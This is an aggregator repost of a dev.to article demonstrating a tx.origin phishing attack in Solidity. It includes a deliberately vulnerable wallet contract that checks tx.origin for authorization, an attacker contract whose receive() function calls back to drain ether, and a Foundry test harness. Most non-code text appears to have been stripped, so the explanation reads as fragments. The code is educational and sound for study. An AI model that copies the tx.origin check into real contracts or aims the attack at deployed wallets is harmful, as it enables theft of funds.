An Interest In:
Web News this Week
- April 27, 2024
- April 26, 2024
- April 25, 2024
- April 24, 2024
- April 23, 2024
- April 22, 2024
- April 21, 2024
April 11, 2022 05:03 am GMT
Original Link: https://dev.to/auok007/txorigingong-ji-shi-xian-4lm3
tx.origin
tx.originmsg.sender tx.origin
Unboxing tx.origin. Rune Token case (adrianhetman.com)
contract TxUserWallet is DSTest { address owner; constructor() { owner = msg.sender; //emit log_named_address("owner", owner); } function transferTo(address payable dest, uint256 amount) public payable { emit log_named_address("tx.origin", tx.origin); emit log_named_address("owner", owner); require(tx.origin == owner); //** ** dest.call{value: amount}(""); }}
transferTotx.origin
tx.origin
solidity | | (learnblockchain.cn)fallback receive
TxUserWallet transferTo receive transferTotx.origin TxUserWallet
contract TxAttackWallet is DSTest { address payable owner; constructor() { owner = payable(msg.sender); } fallback() external payable { emit log_named_address("fallback", msg.sender); } receive() external payable { TxUserWallet(msg.sender).transferTo( payable(this), 1 ether ); }}
function setUp() public { startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58), 8 ether); alice = new TxUserWallet(); // hoax(address(alice), 5 ether); //5 bob = new TxAttackWallet(); // hoax(address(bob), 5 ether); //5 emit log_named_uint("alice", address(alice).balance); emit log_named_address("alice", address(alice)); emit log_named_address("bob", address(bob)); }function testExample() public payable { //startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58)); alice.transferTo(payable(bob), 1 ether); //1 emit log_named_uint("alice", address(alice).balance); emit log_named_uint("bob", address(bob).balance); emit log_string("testok"); }
foundry.toml
tx_origin = '0x9BEF5148fD530244a14830f4984f2B76BCa0dC58'
github
Original Link: https://dev.to/auok007/txorigingong-ji-shi-xian-4lm3
Share this article:
Tweet
View Full Article
Dev To
An online community for sharing and discovering great ideas, having debates, and making friendsMore About this Source Visit Dev To